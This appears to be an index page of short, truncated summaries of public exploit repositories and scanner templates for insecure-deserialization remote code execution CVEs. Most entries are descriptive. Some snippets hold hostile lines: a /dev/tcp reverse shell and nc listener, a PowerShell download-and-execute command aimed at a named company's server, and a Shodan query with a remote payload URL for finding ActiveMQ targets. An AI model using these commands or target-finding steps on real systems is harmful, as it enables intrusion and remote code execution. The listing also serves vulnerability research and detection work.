CVE-2018-15133-PoC

CVE-2018-15133-PoC This Python script implements a remote code execution RCE exploit for vulnerable Laravel applications through insecure deserialization, based on the CVE-2018-15133 vulnerability. The exploit takes advantage of a vulnerability in Laravel versions 5.5.40 and earlier, and 5.6.0 to...

CVE-2024-44902-env

CVE-2024-44902 - ThinkPHP Insecure Deserialization RCE Vulnerable environment for nuclei-templates validation. Vulnerability Details Field| Value ---|--- CVE ID| CVE-2024-44902 Severity| Critical CVSS 9.8 Product| ThinkPHP Affected Versions| 6.1.3 - 8.0.4 Type| Insecure Deserialization → RCE CWE|...

Telerik-UI-ASP.NET-AJAX-Exploitation

Telerik-UI-ASP.NET-AJAX-Exploitation Unrestricted File Upload by Weak Encryption affected versions CVE-2017-11317 2. Remote Code Execution by Insecure Deserialization - CVE-2019-18935...

CVE-2025-27520

CVE-2025-27520 exploit for CVE-2025-27520 A Remote Code Execution RCE vulnerability caused by insecure deserialization in the latest version v1.4.2 of BentoML. It allows any unauthenticated user to execute arbitrary code on the server. It exists an unsafe code segment in serde.py. This...

CVE-2023-46604

Technical Summary of the Attack: CVE-2023-46604 The script exploits an insecure deserialization vulnerability in Apache ActiveMQ CVE-2023-46604 to achieve remote code execution on the target server. Description of the Exploitation Process Vulnerability Target: The vulnerability resides in the...

CVE-2025-15276-poc

CVE-2025-15276: FontForge SFD PickledData Insecure Deserialization RCE Disclaimer This Proof of Concept PoC is for educational purposes and security auditing only. The author is not responsible for any misuse of this information. Unauthorized access to computer systems is illegal. Always obtain...

CVE-2023-46604

CVE-2023-46604 Exploit for CVE-2023-46604 This tool helps to exploit this vulnerability. Shodan Query to find target: product:"ActiveMQ" port:"61616" Tools Usage: for read targets from the file: python3 exploit.py -f targets -c http://YourVPS/poc.xml --- single target: python3 exploit.py -ip IP -...

CVE-2020-35728

Description FasterXML jackson-databind 2.x before 2.9.10.8 mishandles the interaction between serialization gadgets and typing, related to com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool aka embedded Xalan in org.glassfish.web/javax.servlet.jsp.jstl. How to RCE pom.xml 4.0.0...

CVE-2025-24016

Wazuh Remote Code Execution RCE - PoC Vulnerability Overview This repository demonstrates the remote code execution RCE vulnerability in the Wazuh server, introduced by an unsafe deserialization in the wazuh-manager package. The vulnerability allows remote attackers with API access compromised...

CVE-2020-8165

CVE-2020-8165 Python Exploit This is code to exploit CVE-2020-8165 using Python3. This exploit works with rails & /dev/tcp/10.10.X.X/8989 0&1'" python3 exploit.py 10.10.10.X 8080 [email protected] password "nc 10.10.X.X 8989" Major Credits Original CVE details:...

CVE-2025-24813-PoC-Apache-Tomcat-RCE

Apache Tomcat CVE-2025-24813 Proof of Concept PoC A proof-of-concept exploit for the Apache Tomcat deserialization vulnerability CVE-2025-24813. This tool demonstrates how attackers could exploit insecure deserialization in Tomcat's session management. WARNING : This tool is for authorized securi...

ysonet

YSoNet generates .NET deserialization payloads for authorized security research, with an interactive wizard and a command line for repeatable work. Interactive configuration: choose a gadget or plugin, get help for each setting, and copy the equivalent command. Searchable discovery: filter gadget...

CVE-2026-25769

CVE-2026-25769 - Remote Code Execution via Insecure Deserialization in Wazuh Cluster A proof-of-concept exploit for CVE-2026-25769, a Remote Code Execution via Insecure Deserialization in Wazuh Cluster Usage: $ python3 poc.py --cmd 'id' Vulnerable Versions Wazuh v4.14.1 Disclaimer This tool is fo...

CVE-2017-5645

CVE-2017-5645 CVE-2017-5645 - Apache Log4j RCE due Insecure Deserialization...

CVE-2020-0618

CVE-2020-0618 Melissa https://status.melissa.com/ReportServerCUSTOMERSQL/Pages/ReportViewer.aspx - link bị dính lỗ hổng $command = 'New-Object Net.WebClient.Proxy.Credentials=Net.CredentialCache::DefaultNetworkCredentials;iwr"https://qoigyuef2a4z1a7rsir6lvi3eukl8a.burpcollaborator.net/In"|iex'...

php_code_analysis

this script will scan your code the script can find 1. checkfileupload issues 2. hostheaderinjection 3. SQl injection 4. insecure deserialization 5. openredirect 6. SSRF 7. XSS 8. LFI 9. commandinjection features 1. fast 2. simple report usage: python code.py file.php -this will scan one file...

Roundcube-CVE-2025-49113

Roundcube RCE Exploit CVE-2025-49113 A fully functional proof-of-concept exploit for CVE-2025-49113 🧠 Summary CVE-2025-49113 is an The vulnerability is the result of a logic flaw in the application's session parser, which allows insecure deserialization of PHP objects. Authenticated users can...

Cacti < 1.2.25 Insecure Deserialization

Cacti is an open source operational monitoring and fault management framework. There are two instances of insecure deserialization in Cacti version 1.2.24. id: CVE-2023-30534 info: name: Cacti 1.2.25 Insecure Deserialization author: k0pak4 severity: medium description: | Cacti is an open source...

Apache Dubbo 2.5.x-2.7.4 - Insecure Deserialization

Unsafe deserialization occurs within a Dubbo application which has HTTP remoting enabled. An attacker may submit a POST request with a Java object in it to completely compromise a Provider instance of Apache Dubbo, if this instance enables HTTP. This issue affected Apache Dubbo 2.7.0 to 2.7.4,...

GiveWP <= 4.16.7.1 - Remote Code Execution

GiveWP = 4.16.7.1 contains an insecure deserialization vulnerability caused by deserialization of untrusted data, letting attackers perform object injection remotely, exploit requires crafted input id: CVE-2026-82222 info: name: GiveWP = 4.16.7.1 - Remote Code Execution author: 0xAkoko,pdteam...